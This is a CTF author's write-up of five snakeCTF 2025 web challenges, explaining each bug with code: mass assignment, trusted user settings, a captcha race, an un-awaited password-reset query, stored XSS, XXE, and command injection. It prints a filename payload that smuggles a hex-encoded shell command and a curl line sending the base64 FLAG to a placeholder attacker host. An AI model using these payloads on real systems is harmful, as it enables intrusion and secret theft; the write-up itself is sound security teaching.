The five web challenges I wrote for snakeCTF 2025
Four for the qualifiers and one for the finals. A dating app for hackers, a forum against boxes, a captcha you only solve once, a national login that resets the wrong password, and a ColdFusion message board. Each bug, in the code that had it.
snakeCTF is the CTF that MadrHacks runs every year, with online qualifiers and finals in person. For the 2025 edition I wrote four web challenges for the qualifiers, on August 29 and 30, and one for the finals, in Lignano from November 20 to 23.
The qualifiers' source is public in MadrHacks' write-ups repository, so the code below is the real thing. Only the write-up of the finals challenge is public, so its section follows that.
Every challenge came with a short description and a few hints. The hints say more than they seem to, so each one is quoted where it belongs.
ExploitMe
ExploitMe is a dating app for people who'd rather get a shell than a phone number. Every profile has a role, white hat, black hat or grey hat, and says which one it's looking for. The flag is in a chat between two other users, as the place one of them suggests for their date. To find it you have to read their chat.
Profiles are edited through /api/edit, which checks the body with yup:
const editProfileSchema = yup.object().shape({
role: yup.string().oneOf(['WHITE_HAT', 'BLACK_HAT', 'GREY_HAT']),
looking_for: yup.string().oneOf(['WHITE_HAT', 'BLACK_HAT', 'GREY_HAT']),
age: yup.number().min(0).max(250),
bio: yup.string().max(500),
// ...
});
validated = await editProfileSchema.validate(req.body, { abortEarly: false });
const setClause = Object.keys(validated).map(field => `"${field}" = ?`).join(', ');
const values = Object.values(validated);The schema checks the fields it knows. But validate returns the whole object, and a key the schema doesn't name goes through untouched unless you ask yup to strip it. The update is built from every key that comes back, so a body with "is_admin": true sets the column of the same name. The first hint was "Yup, it's easy."
Being an admin isn't enough on its own. An admin can read a chat they're not part of only once someone has reported it:
if (match.user1_id !== userId && match.user2_id !== userId) {
if (!(currentUser && currentUser.is_admin && match.is_reported)) {
return res.status(403).json({ message: 'Forbidden: You are not part of this match.' });
}
}The report endpoint, /api/chat/{matchId}/report, checks that the match exists and nothing else. Anyone can report any chat, including chats they've never seen. The second hint was "Can we report this, chat?" So you make yourself an admin, report the other matches, and read them until one of them has a date in it.
Boxbin
Boxbin is a forum for people who hate boxes. Its posts have titles like "The Matryoshka Nightmare" and "A menace in Venice". The flag is in a hidden post called "The Box To End All Boxes", which only admins can see.
The front end talks to a GraphQL API at /api/graphql. Introspection is on, so anyone can ask it for its whole schema, and the schema lists a mutation the front end never calls:
adminUserUpgrade(upgradeId: ID!): UserDespite the name, it only checks that you're logged in. It adds the upgrade to your account and moves you to the group that comes with it: 5 for VIB, 4 for Box cutter, 3 for Box lover 9000. Admins are groups 0 and 1, so an upgrade doesn't make you one. What it does is open the Settings page, which the front end only shows to users who own an upgrade.
Settings are saved by updateSettings(settings: String!), which stores the string you send as it is. Every admin check then reads it back and believes it:
function isAuthorized(context) {
if (context.user && context.user.settings) {
try {
const userSettings = JSON.parse(context.user.settings);
if (userSettings.isAdmin === true) return true;
} catch (e) {
}
}
return (context.user && context.user.groupId <= 1);
}Save {"isAdmin": true} as your settings, and the Admin link appears in the header, with the hidden posts behind it. The hint for this step was "Settings are just suggestions anyway."
/b/locked
/b/locked wants ten captchas solved in ten seconds, and the captchas don't make that easy. Each one has six characters, drawn at a quarter of their size, scaled back up without smoothing and covered in what the code calls extreme visual noise. Two of the six are missing from the picture. They sit on a wider strip behind it, at a random offset, and you drag a slider until they line up with their gaps. Then you type all six.
To open /protected you need ten tokens that each match their stored hash, and the first and the last have to be solved no more than ten seconds apart. The solve endpoint does its work in this order:
- It looks the captcha up by its id and compares the answer in constant time.
- It makes a random token and hashes it with PBKDF2, 100,000 rounds of SHA-512.
- It stores the hash with the time of the solve.
- It adds the token to the
solvedCaptchascookie. - It deletes the captcha.
Every step between the lookup and the delete waits on something, and the PBKDF2 takes the longest. Any request for the same captcha that arrives in that window still finds it, passes, and gets a token of its own. So you solve one captcha, send the answer many times at once, and keep ten of the tokens that come back. They were all solved within a second or two of each other, far inside the limit.
One last detail: /api/solve keeps the tokens in the cookie as a JSON list, and /protected splits the cookie on commas. So the solver writes that cookie itself, ten tokens joined with commas.
SPAM
SPAM is a national login, a parody of SPID, the digital identity Italians use to deal with the state. The name stands for Sistema Pubblico di Autenticazione Malfunzionante Italiano, the Italian Public System of Malfunctioning Authentication. According to its description it was built by the lowest bidder with the highest confidence.
Behind the login are the services it signs you in to:
| Service | What it is |
|---|---|
| INBS | Istituto Nazionale per la Burocrazia Sfinente, the National Institute for Exhausting Bureaucracy |
| Agenzia delle Uscite | the Revenue Exit Agency, "Making Poverty Possible" |
| ASP | Attendi Sempre di Più, "Always Wait More" |
| DSW | the Department of Slow Workers |
| Testing service | hidden, "used to test random functionality" |
The flag sits in a bot's browser. Admins can run a health check, which "logs in to a platform with the administrator's credentials" and opens its page in a headless browser, with the flag in a cookie on that platform's host. Getting it out takes four bugs, and each of them lands on the same account: user 0, the administrator.
A promise is always true
A password reset is a PATCH with a reset token and the new password:
const tokenData = db.get("SELECT * FROM PasswordResetTokens WHERE token = ?", token);
if (!tokenData) {
return res.status(400).json({ error: "Invalid or expired token" });
}
const tokenUser = await getUserFromId(db, tokenData.userId);The db.get has no await, so tokenData is a Promise, and a Promise is always truthy. Every check after it reads a field the Promise doesn't have:
tokenData.userIdisundefined, andgetUserFromIdfalls back withid || 0, which is the administrator.tokenData.usedisundefined, so the token counts as unused.new Date(tokenData.expiresAt)is an invalid date. Comparing it with the current time compares NaN, which is always false, so the token hasn't expired either.
Any token at all resets the administrator's password to one you pick. The hint was "Sometimes promises aren't kept, especially with governments."
From Admin to System
The administrator is in the Admin group. Above it are Super Admin and then System, group 0. The actions API turns away only the User group, and its assignGroup action takes any user and any group, so the administrator can move itself into System. The hint: "Groups can be very... flexible in their membership requirements."
A name with a script in it
Only System can sign in to hidden services, so the Testing service now shows up. Signing in to a service gives you a token for it, and with that token and System rights you can call /api/internal/sync, which updates your first name, last name and email.
The actions API passes every value through sanitizeInput, which strips tags. The sync endpoint writes them as they come, so a first name made of a <script> that sends document.cookie to your server is stored as it is. The hint: "Internal systems trust each other a bit too much."
JSON that is also a page
The Testing service shows the signed-in user's data at /data:
const data = await fetchUserData(userData.token);
res.send(JSON.stringify(data, null, 2));Express sends a string with Content-Type: text/html. The JSON goes out as a web page, and the browser runs the <script> inside the first name. The hint: "The test service renders things quite literally."
All that's left is a health check on platform 0. The bot signs in as user 0, whose first name you wrote, and opens /data on the Testing service with the flag cookie set on that host. The cookie isn't httpOnly, so your script can read it.
Snakeroom
Snakeroom was my challenge for the finals, a message board in ColdFusion with MySQL behind it. It's a chain of four stages, and the first one is getting the server to say what it is.
An error that says too much
Every visitor gets a SESSION_ID cookie. Send one longer than 64 characters and the server fails with its full stack trace. The trace says ColdFusion and MySQL, shows a piece of the source, and names the sessions table and its columns, one of which is is_admin. The pages also carry commented-out HTML, which comes in handy later.
Mass assignment
The board has a function to change your display name that nothing uses. Its request is JSON, and the handler copies more than the name. This body, sent to /board.cfm?b=b, turns your session into an admin session:
{
"display_name": "pwned_by_mass_assignment",
"is_admin": "1",
"action": "setDisplayName"
}The proof is an Admin link on the main page.
XXE
With admin rights, the index page's HTML gains a form the page doesn't use: "Upload an XML file to import board, thread, and post data". It posts to /api/importer.cfm, and the importer resolves external entities. An XML file can pull in any file the server can read, which is how you get the site's own source.
A filename that runs
The source has /var/www/app/components/FileUpload.cfc, which takes the image attached to a post and puts its filename, unsanitized, into a shell command. The filename that wins:
\'; echo {hex_rce} | xxd -r -p | sh; #.png
It ends the command it lands in with ;, decodes a second command from hex and runs it, then comments out the rest with #, and the name still ends in .png, like an image's should. The hex is there because the command needs slashes and a filename can't hold one. Decoded, the command is:
curl http://{attacker_host}:{flag_port}/?flag=$(echo $FLAG | base64)The write-ups for both events, other categories included, are in MadrHacks' repositories for the qualifiers and the finals.